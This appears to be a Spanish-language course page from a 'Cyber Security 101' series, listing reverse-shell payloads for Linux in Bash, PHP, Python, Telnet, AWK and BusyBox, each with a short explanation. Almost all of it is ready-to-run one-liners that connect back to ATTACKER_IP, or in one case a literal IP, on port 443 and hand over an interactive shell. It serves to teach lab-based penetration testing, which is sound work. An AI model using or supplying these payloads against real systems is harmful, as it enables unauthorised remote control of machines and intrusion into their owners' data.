XUT_ / COURSES / CYBER SECURITY 101

Shell Payloads

Un payload de shell puede ser un comando o script que expone una shell a una conexión entrante en caso de una bind shell o que manda una conexión en caso de una reverse shell.

Exploremos algunos de los payloads que pueden ser usados en Linux OS para exponer shells mediante reverse shell.


Bash

Normal Bash Reverse Shell
shell
attacker@kali:~$ socat -d -d TCP-LISTEN:443 STDOUT
2024/09/23 15:44:38 socat[41135] N listening on AF=2 0.0.0.0:443

Esta reverse shell inicia una shell bash interactiva que redirige el input y output a través de una conexión TCP a la máquina del atacante en el puerto 443. El operador >& combina ambos, estándar output y error.

Bash Read Line Reverse Shell
shell
target@tryhackme:~$ exec 5<>/dev/tcp/ATTACKER_IP/443; cat <&5 | while read line; do $line 2>&5 >&5; done 

Esta reverse shell crea un nuevo descriptor de archivo (5 en este caso) y se conecta a un socket TCP. Leerá y ejecutará comandos desde el socket, mandando el output a través del mismo socket.

Bash With File Descriptor 196 Reverse Shell
shell
target@tryhackme:~$ 0<&196;exec 196<>/dev/tcp/ATTACKER_IP/443; sh <&196 >&196 2>&196 

Esta reverse shell usa un descriptor de archivo (196 en este caso) para establecer una conexión TCP. Permite al shell leer comandos de la red y mandar el output de vuelta mediante la misma conexión.

Bash With File Descriptor 5 Reverse Shell
shell
target@tryhackme:~$ bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5

De forma similar al primer ejemplo, este comando abre una shell, pero usa el descriptor 5 para el input y el output, permitiendo una sesión interactiva mediante una conexión TCP.


PHP

PHP Reverse Shell Using the exec Fuction
shell
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);exec("sh <&3 >&3 2>&3");' 

Esta reverse shell crea una comunicación socket a la IP del atacante en el puerto 443 y usa la función exec para ejecutar una shell, redirigiendo el input y output estándar.

PHP Reverse Shell
shell
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("sh <&3 >&3 2>&3");'

Similar al comando anterior, pero usa la función shell_exec.

PHP Reverse Shell Using the system Function
shell
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);system("sh <&3 >&3 2>&3");' 

Esta reverse shell usa la función system la cual ejecuta el comando y muestra la salida en el navegador.

PHP Reverse Shell Using the passthru Function
shell
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("sh <&3 >&3 2>&3");'

La función passthru ejecuta un comando y manda output raw de vuelta al navegador. Esto es útil al trabajar con datos binarios

PHP Reverse Shell Using the popen Function
shell
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);popen("sh <&3 >&3 2>&3", "r");' 

Esta reverse shell usa popen para abrir un puntero de proceso de archivo, permitiendo a la shell ser ejecutada.


Python

Python Reverse Shell by Exporting Environment Variables
shell
target@tryhackme:~$ export RHOST="ATTACKER_IP"; export RPORT=443; python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' 

Configura el host remoto y puerto como variables de entorno, crea una conexión socket y duplica el descriptor de archivo del socket.

Python Reverse Shell Using the subprocess Module
shell
target@tryhackme:~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' 

Usa el módulo subprocesspara spawnear una shell y configurar un entorno similar al Python Reverse Shell exportando el comando de variables de entorno.

Short Python Reverse Shell
shell
python -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

Crea un socket (s), se conecta al atacante, redirige el input,output y error estándar al socket usando os.dup2().


Otras

Telnet
shell
target@tryhackme:~$ TF=$(mktemp -u); mkfifo $TF && telnet ATTACKER_IP443 0<$TF | sh 1>$TF

Crea una named pipe usando mkfifo y se conecta al atacante vía Telnet en la IP y puertos especificados.

AWK
shell
target@tryhackme:~$ awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Usa el TCP en AWK para conectarse a la IP y puerto del atacante. Lee comandos del atacante y los ejecuta. Después manda los resultados de vuelta por la misma conexión TCP.

BusyBox
shell
target@tryhackme:~$ busybox nc ATTACKER_IP 443 -e sh

Usa Netcat (nc) para conectarse al atacante. Una vez establecida la conexión, ejecuta /bin/sh, exponiendo la línea de comandos al atacante.